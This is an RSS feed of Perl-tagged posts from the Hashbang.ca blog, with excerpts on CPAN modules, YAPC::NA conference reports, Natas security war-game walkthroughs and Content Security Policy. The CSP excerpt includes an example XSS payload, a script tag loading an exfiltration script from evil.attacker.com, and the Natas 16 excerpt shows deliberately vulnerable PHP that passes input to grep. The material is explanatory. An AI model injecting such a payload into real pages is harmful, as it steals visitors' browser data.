<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Perl on Hashbang.ca</title>
		<link>https://hashbang.ca/tag/perl</link>
		<description>Recent content in Perl on Hashbang.ca</description>
		<generator>Hugo</generator>
		<language>en-us</language>
		
		
		
		
			<lastBuildDate>Sun, 18 Aug 2013 15:23:00 -0400</lastBuildDate>
		
			<atom:link href="https://hashbang.ca/tag/perl/index.xml" rel="self" type="application/rss+xml" />
			<item>
				<title>Introducing Hack::Natas</title>
				<link>https://hashbang.ca/post/introducing-hacknatas</link>
				<pubDate>Sun, 18 Aug 2013 15:23:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/introducing-hacknatas/</guid>
				<description>&lt;p&gt;Last Monday, I &lt;a href=&#34;https://hashbang.ca/post/presenting-my-natas-solutions-at-nslug&#34;&gt;presented&lt;/a&gt; my solutions to the Natas server-side security war games at NSLUG. Afterwards, I spent some time to clean up my code, and I&amp;rsquo;ve now published it to CPAN as &lt;a href=&#34;https://metacpan.org/module/Hack::Natas&#34;&gt;&lt;code&gt;Hack::Natas&lt;/code&gt;&lt;/a&gt;, which comes with modules and scripts to solve level 15 and 16 in an automated way, plus walkthroughs for all the levels up to 17 written in Markdown (those are almost the same as my &lt;a href=&#34;https://hashbang.ca/tag/natas&#34;&gt;blog posts&lt;/a&gt;, so you&amp;rsquo;re not missing out by looking at only one or the other).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 16</title>
				<link>https://hashbang.ca/post/natas-16</link>
				<pubDate>Tue, 09 Jul 2013 08:48:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-16/</guid>
				<description>&lt;p&gt;This is the last level. We&amp;rsquo;re challenged with an improved version of level 9 &amp;ndash; they&amp;rsquo;ve added additional &amp;ldquo;sanitation&amp;rdquo; to keep us out.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;preg_match&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;/[;|&amp;amp;`\&amp;#39;&amp;#34;]/&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Input contains an illegal character!&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nx&#34;&gt;passthru&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;grep -i &lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$key&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; dictionary.txt&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 15</title>
				<link>https://hashbang.ca/post/natas-15</link>
				<pubDate>Sat, 06 Jul 2013 10:33:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-15/</guid>
				<description>&lt;p&gt;We&amp;rsquo;re nearly at the end! This is the 2nd-last level.&lt;/p&gt;&#xA;&lt;p&gt;We know there is a users table, with columns &amp;ldquo;username&amp;rdquo; and &amp;ldquo;password&amp;rdquo;. This time, the code just checks that the username exists. There&amp;rsquo;s no way to print out the data we want. Instead, we&amp;rsquo;ll have to do something cleverer.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Introducing mvr: like mv, but clever</title>
				<link>https://hashbang.ca/post/introducing-mvr-like-mv-but-clever</link>
				<pubDate>Fri, 19 Apr 2013 19:11:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/introducing-mvr-like-mv-but-clever/</guid>
				<description>&lt;p&gt;I wanted to move a large number of files from one directory to another, but the target directory already had many of the filenames already used. This is a common enough problem &amp;ndash; digital cameras use &lt;code&gt;DSC#&lt;/code&gt;, video downloaders often append numbers to get a unique filename, and so on. In both those examples, the sequence restarts if you empty the program&amp;rsquo;s work directory. So, you&amp;rsquo;ll end up with &lt;code&gt;DSC0001.jpg&lt;/code&gt; every time you empty your camera&amp;rsquo;s memory card. If you&amp;rsquo;re trying to move such files into a single directory, you&amp;rsquo;ll get conflicts every time.&lt;/p&gt;&#xA;&lt;p&gt;Instead of manually renaming the files before transferring them, I wrote a simple script to give each file a unique name in the destination directory.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Introducing Noose: just enough OO to hang yourself</title>
				<link>https://hashbang.ca/post/introducing-noose-just-enough-oo-to-hang-yourself</link>
				<pubDate>Thu, 07 Feb 2013 01:26:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/introducing-noose-just-enough-oo-to-hang-yourself/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://metacpan.org/module/Moose&#34;&gt;Moose&lt;/a&gt; led to &lt;a href=&#34;https://metacpan.org/module/Mouse&#34;&gt;Mouse&lt;/a&gt; led to &lt;a href=&#34;https://metacpan.org/module/Moo&#34;&gt;Moo&lt;/a&gt; led to &lt;a href=&#34;https://metacpan.org/module/Mo&#34;&gt;Mo&lt;/a&gt; led finally to &lt;a href=&#34;https://metacpan.org/module/M&#34;&gt;M&lt;/a&gt;, which gives you the least object-orientation possible, which is none at all. I quipped that Perl desperately needed &lt;strong&gt;a new OO module called Noose &amp;ndash; &lt;a href=&#34;https://twitter.com/mikedoherty_ca/status/115258513390960640&#34;&gt;&lt;em&gt;just&lt;/em&gt; enough object orientation to hang yourself&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Planning a Content-Security-Policy with Dancer</title>
				<link>https://hashbang.ca/post/planning-a-content-security-policy-with-dancer</link>
				<pubDate>Fri, 01 Feb 2013 10:06:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/planning-a-content-security-policy-with-dancer/</guid>
				<description>&lt;p&gt;The &lt;a href=&#34;https://en.wikipedia.org/wiki/Same_origin_policy&#34;&gt;same-origin policy&lt;/a&gt; is a fundamental part of the security infrastructure of the web. It prevents a web site&amp;rsquo;s scripts from accessing and interacting with scripts used on other sites. This helps keep your data safe because if your bank&amp;rsquo;s website gives you some data, it can only be accessed by your bank&amp;rsquo;s website, and not by scripts from other websites.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a nice theory, it&amp;rsquo;d be a shame if some evidence happened to it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In the real world, attackers have found ways to get around the same-origin policy to gain access to data they&amp;rsquo;re not supposed to be able to access. For example, a web programmer might mistakenly include some user-provided input verbatim in the HTML of a webpage &amp;ndash; perhaps a username. Well, if your username is &lt;code&gt;&amp;amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;http://evil.attacker.com/exfiltrate_browser_data.js&amp;quot;&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&lt;/code&gt;, then how is the web browser supposed to know if that was intentionally put in the HTML of the page? Same-origin policies are insufficient in the face of programmer error. Enter &lt;strong&gt;Content Security Policy&lt;/strong&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Automating server build-out with Module::Build</title>
				<link>https://hashbang.ca/post/automating-server-build-out-with-modulebuild</link>
				<pubDate>Thu, 08 Nov 2012 13:25:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/automating-server-build-out-with-modulebuild/</guid>
				<description>&lt;p&gt;At &lt;a href=&#34;http://www.pythian.com&#34;&gt;Pythian&lt;/a&gt;, we have one application that is composed of several components, the deployment of which needs to conform to our slightly peculiar server setup. Until recently, this required manually deploying each component. I did this a couple weeks ago, and it took me something like &lt;strong&gt;40 hours&lt;/strong&gt; to figure out and complete. As I went, I started reading up on &lt;code&gt;Module::Build&lt;/code&gt;, trying to figure out how to automate as much as possible. It turns out that this core module gives us a surprisingly powerful tool for customized deployment. First, it will help to understand a few aspects of how our code is deployed.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Problems with Perl&#39;s in-memory buffers</title>
				<link>https://hashbang.ca/post/problems-with-in-memory-buffers</link>
				<pubDate>Sat, 15 Sep 2012 19:48:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/problems-with-in-memory-buffers/</guid>
				<description>&lt;p&gt;Perl does lots of things that make life easier, from postfix conditional and looping constructs, to DWIM-infused language design. One of interesting things I discovered when learning to open a file was that Perl can treat a scalar as an in-memory file:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-perl&#34; data-lang=&#34;perl&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$string&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;many\nlines\nof\ntext&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$in&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#39;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;sr&#34;&gt;&amp;lt;$in&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
			</item>
			<item>
				<title>Mocking LWP::UserAgent properly</title>
				<link>https://hashbang.ca/post/mocking-lwpuseragent-properly</link>
				<pubDate>Thu, 26 Jul 2012 20:24:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/mocking-lwpuseragent-properly/</guid>
				<description>&lt;p&gt;This is an update to an &lt;a href=&#34;https://hashbang.ca/post/mocking-lwpuseragent&#34;&gt;earlier post&lt;/a&gt; I wrote about the adventures I had in creating and using a mock &lt;code&gt;LWP::UserAgent&lt;/code&gt; for testing purposes. The ever-vigilant mst overheard a conversation on the same topic, and jumped in. He pointed out that &lt;code&gt;Test::MockObject&lt;/code&gt; (and everything using it) overrides &lt;code&gt;UNIVERSAL::isa&lt;/code&gt; in a way that hides bugs. Because it can hide bugs, it is &lt;strong&gt;definitely not safe&lt;/strong&gt; to use in a test suite, where you&amp;rsquo;re trying to uncover bugs.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Introducing File::Symlink::Atomic</title>
				<link>https://hashbang.ca/post/introducing-filesymlinkatomic</link>
				<pubDate>Sat, 26 May 2012 00:39:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/introducing-filesymlinkatomic/</guid>
				<description>&lt;p&gt;In &lt;a href=&#34;https://hashbang.ca/post/tips-tricks-from-my-4-months-at-pythian&#34;&gt;Tips &amp;amp; tricks from my 4 months at Pythian&lt;/a&gt;, I showed how to give a symlink a new target atomically. I wasn&amp;rsquo;t aware of any module to encapsulate that, so I quickly put together &lt;code&gt;File::Symlink::Atomic&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This module is useful because it eliminates the need to know how to do this safely - simply &lt;code&gt;use File::Symlink::Atomic&lt;/code&gt; and you get a drop-in replacement for &lt;code&gt;CORE::symlink&lt;/code&gt;. It creates a temporary symlink (using &lt;code&gt;File::Temp&lt;/code&gt; to get a unique pathname) pointing to your new target, then moves it into place with a &lt;code&gt;rename&lt;/code&gt; call. On POSIX systems, the rename system call &lt;a href=&#34;http://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html&#34;&gt;guarantees atomicity&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Tips &amp; tricks from my 4 months at Pythian</title>
				<link>https://hashbang.ca/post/tips-tricks-from-my-4-months-at-pythian</link>
				<pubDate>Sat, 19 May 2012 21:15:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/tips-tricks-from-my-4-months-at-pythian/</guid>
				<description>&lt;p&gt;After working with &lt;a href=&#34;https://www.linkedin.com/in/yanickchampoux&#34;&gt;Yanick Champoux&lt;/a&gt; on a few little Perl projects here and there, we finally &lt;a href=&#34;https://hashbang.ca/post/yapcna-day-1&#34;&gt;met face-to-face at YAPC::NA&lt;/a&gt; last summer. A few months later, when I was looking for a co-op position, I immediately thought of Pythian.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SSL security in HTTP::Tiny</title>
				<link>https://hashbang.ca/post/ssl-security-in-httptiny</link>
				<pubDate>Wed, 18 Apr 2012 16:47:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/ssl-security-in-httptiny/</guid>
				<description>&lt;p&gt;I was asked to add SSL support to a client library, while also moving from home-grown manual HTTP code to a proper module. &lt;a href=&#34;https://metacpan.org/module/HTTP::Tiny&#34;&gt;&lt;code&gt;HTTP::Tiny&lt;/code&gt;&lt;/a&gt; was ideal because it is pure-Perl, a core module since 5.14 (so it&amp;rsquo;ll be maintained), and it&amp;rsquo;s just one .pm file, making it easy to ship.&lt;/p&gt;&#xA;&lt;p&gt;An application server that supported SSL was provided for testing purposes, but the SSL certificate didn&amp;rsquo;t match the hostname &amp;ndash; &lt;code&gt;HTTP::Tiny&lt;/code&gt; correctly rejected connections. I needed to be able to control the settings sent to the underlying &lt;code&gt;IO::Socket::SSL&lt;/code&gt; object used for the encrypted connection so I could turn off security features for testing. As I worked on that, David Golden offered invaluable feedback, which greatly improved the design of the features added to &lt;code&gt;HTTP::Tiny&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;As of &lt;a href=&#34;https://metacpan.org/module/HTTP::Tiny#SSL-SUPPORT&#34;&gt;0.018&lt;/a&gt;, &lt;code&gt;HTTP::Tiny&lt;/code&gt; is more configurable, and has a simple interface for &lt;em&gt;easily&lt;/em&gt; making SSL connections more secure.&lt;/strong&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Wherein I realize the bliss of writing init scripts with Daemon::Control</title>
				<link>https://hashbang.ca/post/wherein-i-realize-the-bliss-of-writing-init-scripts-with-daemoncontrol</link>
				<pubDate>Mon, 16 Apr 2012 16:59:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/wherein-i-realize-the-bliss-of-writing-init-scripts-with-daemoncontrol/</guid>
				<description>&lt;p&gt;Init scripts are annoying little things &amp;ndash; almost entirely boilerplate. Here&amp;rsquo;s how I learned to stop struggling, and love &lt;code&gt;Daemon::Control&lt;/code&gt; to control my daemons.&lt;/p&gt;&#xA;&lt;p&gt;The module really is as simple as the &lt;a href=&#34;https://metacpan.org/module/Daemon::Control#SYNOPSIS&#34;&gt;synopsis&lt;/a&gt; &amp;ndash; you describe the daemon, have it write an init script (which actually just runs your &lt;code&gt;Daemon::Control&lt;/code&gt; script) for you, then &lt;code&gt;update-rc.d&lt;/code&gt; and you&amp;rsquo;re golden. It really is that simple.&lt;/p&gt;</description>
			</item>
			<item>
				<title>A pastebin with almost no user interface</title>
				<link>https://hashbang.ca/post/a-pastebin-with-almost-no-user-interface</link>
				<pubDate>Sun, 15 Apr 2012 10:07:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/a-pastebin-with-almost-no-user-interface/</guid>
				<description>&lt;p&gt;I&amp;rsquo;ve always favoured pastebins that let you bin a paste and nothing more &amp;ndash; &lt;a href=&#34;http://p.defau.lt&#34;&gt;p.defau.lt&lt;/a&gt; and &lt;a href=&#34;http://sprunge.us&#34;&gt;sprunge.us&lt;/a&gt; spring to mind. I&amp;rsquo;ve made a Perl almost-clone of sprunge.us:&lt;/p&gt;&#xA;&lt;p&gt;p.hashbang.ca (since retired) now runs &lt;a href=&#34;https://github.com/doherty/WWW-Hashbang-Pastebin&#34;&gt;&lt;code&gt;WWW::Hashbang::Pastebin&lt;/code&gt;&lt;/a&gt;, a simple pastebin written with Dancer and &lt;code&gt;DBIx::Class&lt;/code&gt; that does nothing but store your text and show it back to you. The only feature beyond that is if you append a &lt;code&gt;+&lt;/code&gt;, you&amp;rsquo;ll get line numbering (no syntax highlighting). You can use an anchor to jump to any line (click the line number), and the number for that line will be highlighted.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Dist::Zilla::Plugin::Twitter gets an OAuth update</title>
				<link>https://hashbang.ca/post/distzillaplugintwitter-gets-an-oauth-update</link>
				<pubDate>Mon, 02 Apr 2012 15:04:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/distzillaplugintwitter-gets-an-oauth-update/</guid>
				<description>&lt;p&gt;My pluginbundle for &lt;a href=&#34;http://dzil.org&#34;&gt;&lt;code&gt;Dist::Zilla&lt;/code&gt;&lt;/a&gt; includes, among other things, the Twitter plugin so I can brag on Twitter every time I release a module. Mysteriously, it &lt;a href=&#34;https://rt.cpan.org/Public/Bug/Display.html?id=75995&#34;&gt;broke&lt;/a&gt; one day. Looking at the code, I realized that it was sending my username and password to authenticate. I remember being uneasy with that at the time I set it up, but I quickly forgot, and continued along blithely. &lt;a href=&#34;https://en.wikipedia.org/wiki/OAuth&#34;&gt;OAuth&lt;/a&gt; is an authorization standard that allows users to avoid giving their username &amp;amp; password to a potentially-untrusted application. Using OAuth has been requested &lt;a href=&#34;https://rt.cpan.org/Public/Bug/Display.html?id=72918&#34;&gt;since 2011&lt;/a&gt;, and the &lt;code&gt;401 Unauthorized&lt;/code&gt; error I got indicates that now it is mandatory for Twitter.&lt;/p&gt;&#xA;&lt;p&gt;David Golden offered to let me maintain the module, and I&amp;rsquo;m a sucker, so&amp;hellip; :D&lt;/p&gt;</description>
			</item>
			<item>
				<title>Mocking LWP::UserAgent</title>
				<link>https://hashbang.ca/post/mocking-lwpuseragent</link>
				<pubDate>Fri, 23 Sep 2011 23:41:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/mocking-lwpuseragent/</guid>
				<description>&lt;p&gt;&lt;strong&gt;Important update:&lt;/strong&gt; Don&amp;rsquo;t follow this advice, follow &lt;a href=&#34;https://hashbang.ca/post/mocking-lwpuseragent-properly&#34;&gt;that&lt;/a&gt; advice!&lt;/p&gt;&#xA;&lt;p&gt;chromatic mentioned how to use dependency injection in &lt;a href=&#34;http://www.modernperlbooks.com/mt/2011/08/youre-already-using-dependency-injection.html&#34;&gt;&lt;em&gt;You&amp;rsquo;re Already Using Dependency Injection&lt;/em&gt;&lt;/a&gt;. Although I had read that when he posted it, I hadnt actually ever &lt;em&gt;done&lt;/em&gt; it. That is, until today.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Trimming whitespace in gedit with Perl</title>
				<link>https://hashbang.ca/post/trimming-whitespace-in-gedit-with-perl</link>
				<pubDate>Sun, 14 Aug 2011 00:03:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/trimming-whitespace-in-gedit-with-perl/</guid>
				<description>&lt;p&gt;With gedit plugins, you can turn this simple text editor into a lightweight IDE. It&amp;rsquo;s fast, has good syntax highlighting, and can have code completion, shell integration, and many similar feature you might expect from an IDE. One feature it lacked was trimming whitespace from files. I searched for plugins to do this, and found several, but none of them quite met my expectations, because none were configurable. I typically want my files to end with one and only one newline. Of course, the solution is Perl.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Revising perlopentut</title>
				<link>https://hashbang.ca/post/revising-perlopentut</link>
				<pubDate>Fri, 29 Jul 2011 01:16:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/revising-perlopentut/</guid>
				<description>&lt;p&gt;At YAPC::NA 2011, I &lt;a href=&#34;https://hashbang.ca/post/my-yapcna-2011-lightning-talk&#34;&gt;whined&lt;/a&gt; about the lack of codification of tribal knowledge in Perl. One area that&amp;rsquo;s ripe for fixing is the documentation on &lt;code&gt;open&lt;/code&gt;. There&amp;rsquo;s a section in &lt;code&gt;perlfunc&lt;/code&gt; for &lt;code&gt;open&lt;/code&gt;, and a tutorial: &lt;a href=&#34;http://perldoc.perl.org/perlopentut.html&#34;&gt;&lt;code&gt;perlopentut&lt;/code&gt;&lt;/a&gt;. That tutorial is where I&amp;rsquo;ve started my campaign to have the tutorials and FAQs give good advice.&lt;/p&gt;</description>
			</item>
			<item>
				<title>YAPC::NA day three</title>
				<link>https://hashbang.ca/post/yapcna-day-three</link>
				<pubDate>Thu, 14 Jul 2011 10:00:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/yapcna-day-three/</guid>
				<description>&lt;h2 id=&#34;miyagawa-strikes-again&#34;&gt;Miyagawa strikes again&lt;/h2&gt;&#xA;&lt;p&gt;On day three (read about days &lt;a href=&#34;https://hashbang.ca/post/yapcna-day-1&#34;&gt;one&lt;/a&gt; and &lt;a href=&#34;https://hashbang.ca/post/yapcna-day-2&#34;&gt;two&lt;/a&gt;), I spent most of my time socializing and networking rather than attending talks.&lt;/p&gt;</description>
			</item>
			<item>
				<title>YAPC::NA day two</title>
				<link>https://hashbang.ca/post/yapcna-day-2</link>
				<pubDate>Wed, 13 Jul 2011 10:00:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/yapcna-day-2/</guid>
				<description>&lt;p&gt;If you haven&amp;rsquo;t already, read about day &lt;a href=&#34;https://hashbang.ca/post/yapcna-day-1&#34;&gt;one&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;postmodern-module-packaging&#34;&gt;Postmodern Module Packaging&lt;/h2&gt;&#xA;&lt;p&gt;I began day two with &amp;ldquo;Postmodern Module Packaging&amp;rdquo; with Ingy döt Net. This was a great comparison of the current module packaging toolchains, and a good introduction to a philosophy Ingy calls &amp;ldquo;Acmeism.&amp;rdquo;&lt;/p&gt;</description>
			</item>
			<item>
				<title>YAPC::NA days zero and one</title>
				<link>https://hashbang.ca/post/yapcna-day-1</link>
				<pubDate>Tue, 12 Jul 2011 10:00:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/yapcna-day-1/</guid>
				<description>&lt;p&gt;I doubt my recounting will be anywhere near as colourful as &lt;a href=&#34;http://techblog.babyl.ca/entry/asheville-part-III&#34;&gt;Yanick&amp;rsquo;s&lt;/a&gt;, but I think it&amp;rsquo;s worthwhile to share my experiences at YAPC::NA 2011.&lt;/p&gt;</description>
			</item>
			<item>
				<title>My YAPC::NA 2011 lightning talk</title>
				<link>https://hashbang.ca/post/my-yapcna-2011-lightning-talk</link>
				<pubDate>Thu, 30 Jun 2011 01:37:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/my-yapcna-2011-lightning-talk/</guid>
				<description>&lt;p&gt;Well, YAPC::NA 2011 in Asheville, NC is over, and I had the opportunity (after getting &lt;a href=&#34;https://twitter.com/#!/_doherty/status/85823322738262016&#34;&gt;bumped&lt;/a&gt; around more than a couple times) to give a lightning talk as part of the final session. I had previously done a &lt;a href=&#34;https://hashbang.ca/post/the-death-of-tribal-knowledge&#34;&gt;blog post&lt;/a&gt; on the subject, but I wanted to share some of my thoughts with a wider audience.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Human usability testers wanted</title>
				<link>https://hashbang.ca/post/human-usability-testers-wanted</link>
				<pubDate>Sun, 27 Feb 2011 16:13:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/human-usability-testers-wanted/</guid>
				<description>&lt;p&gt;When I wrote &lt;a href=&#34;https://metacpan.org/module/App::perlhl&#34;&gt;1App::perlhl1&lt;/a&gt; &lt;a href=&#34;https://hashbang.ca/post/cli-perl-syntax-highlighter&#34;&gt;a few weeks ago&lt;/a&gt;, I was mostly concerned with getting it working. I picked colours more-or-less at random, and I noted that I planned to tweak them to achieve better readability. I&amp;rsquo;d like to do some hallway usability testing &amp;ndash; if you&amp;rsquo;re interested, please try cloning my &lt;a href=&#34;https://github.com/doherty/App-perlhl&#34;&gt;git repository&lt;/a&gt; and playing with the branches. &lt;code&gt;master&lt;/code&gt; has one colour scheme, and I created &lt;code&gt;colour-2&lt;/code&gt; and &lt;code&gt;colour-3&lt;/code&gt; to test two more schemes. Try them out &amp;amp; let me know what you find most easiest to read. If you want to play with the colouring yourself, I&amp;rsquo;d be happy to accept whichever one people find best. Thanks!&lt;/p&gt;</description>
			</item>
			<item>
				<title>The death of tribal knowledge</title>
				<link>https://hashbang.ca/post/the-death-of-tribal-knowledge</link>
				<pubDate>Fri, 11 Feb 2011 17:03:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/the-death-of-tribal-knowledge/</guid>
				<description>&lt;p&gt;Michael Schwern &lt;a href=&#34;http://blip.tv/open-source-developers-conference/perl5i-perl-5-improved-4466300&#34;&gt;talks&lt;/a&gt; about Perl5&amp;rsquo;s shortcomings, and explains how &lt;a href=&#34;https://metacpan.org/pod/perl5i&#34;&gt;perl5i&lt;/a&gt; can overcome many of them &amp;ndash; it is a pragma to fix as much of Perl 5 as possible all at once. While I haven&amp;rsquo;t worked with perl5i much, I wanted to talk about something Schwern talked about that resonated with me, and that&amp;rsquo;s the concept of &amp;ldquo;tribal knowledge.&amp;rdquo;&lt;/p&gt;</description>
			</item>
			<item>
				<title>CLI Perl syntax highlighter</title>
				<link>https://hashbang.ca/post/cli-perl-syntax-highlighter</link>
				<pubDate>Mon, 31 Jan 2011 11:10:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/cli-perl-syntax-highlighter/</guid>
				<description>&lt;p&gt;Last night, someone posed a problem in &lt;code&gt;#perl-help&lt;/code&gt;. They wanted to have syntax highlighting in their shell for Perl code. I immediately suggested that they use &lt;a href=&#34;http://pygments.org&#34;&gt;Pygments&lt;/a&gt; &amp;ndash; I knew about it because I&amp;rsquo;d used it before, and I had experimented with the command line tool. But I was surprised there wasn&amp;rsquo;t already a Perl solution.&lt;/p&gt;</description>
			</item>
			<item>
				<title>A Perl yardstick</title>
				<link>https://hashbang.ca/post/perl-yardstick</link>
				<pubDate>Sun, 30 Jan 2011 12:50:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/perl-yardstick/</guid>
				<description>&lt;p&gt;chromatic identified some reasons why it is difficult to &lt;a href=&#34;http://www.modernperlbooks.com/mt/2011/01/why-you-cant-hire-great-perl-programmers.html&#34;&gt;hire great Perl programmers&lt;/a&gt;, and then followed it up with some &lt;a href=&#34;http://www.modernperlbooks.com/mt/2011/01/how-to-identify-a-good-perl-programmer.html&#34;&gt;advice&lt;/a&gt; for hiring managers. They suggest a series of questions every good Perl programmer should be able to answer. I wanted to know how I stacked up.&lt;/p&gt;</description>
			</item>
			<item>
				<title>OMG, is that WordPress?!</title>
				<link>https://hashbang.ca/post/omg-is-that-wordpress</link>
				<pubDate>Sat, 29 Jan 2011 06:34:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/omg-is-that-wordpress/</guid>
				<description>&lt;p&gt;I&amp;rsquo;m a Perl guy. I like the language a lot &amp;ndash; how it looks, how it works&amp;hellip; Even if it isn&amp;rsquo;t &lt;a href=&#34;https://metacpan.org/pod/perl5i&#34;&gt;perfect&lt;/a&gt;, I like it a lot. But I also love things that work, and Wordpress &lt;em&gt;works&lt;/em&gt;.&lt;/p&gt;</description>
			</item>
	</channel>
</rss>
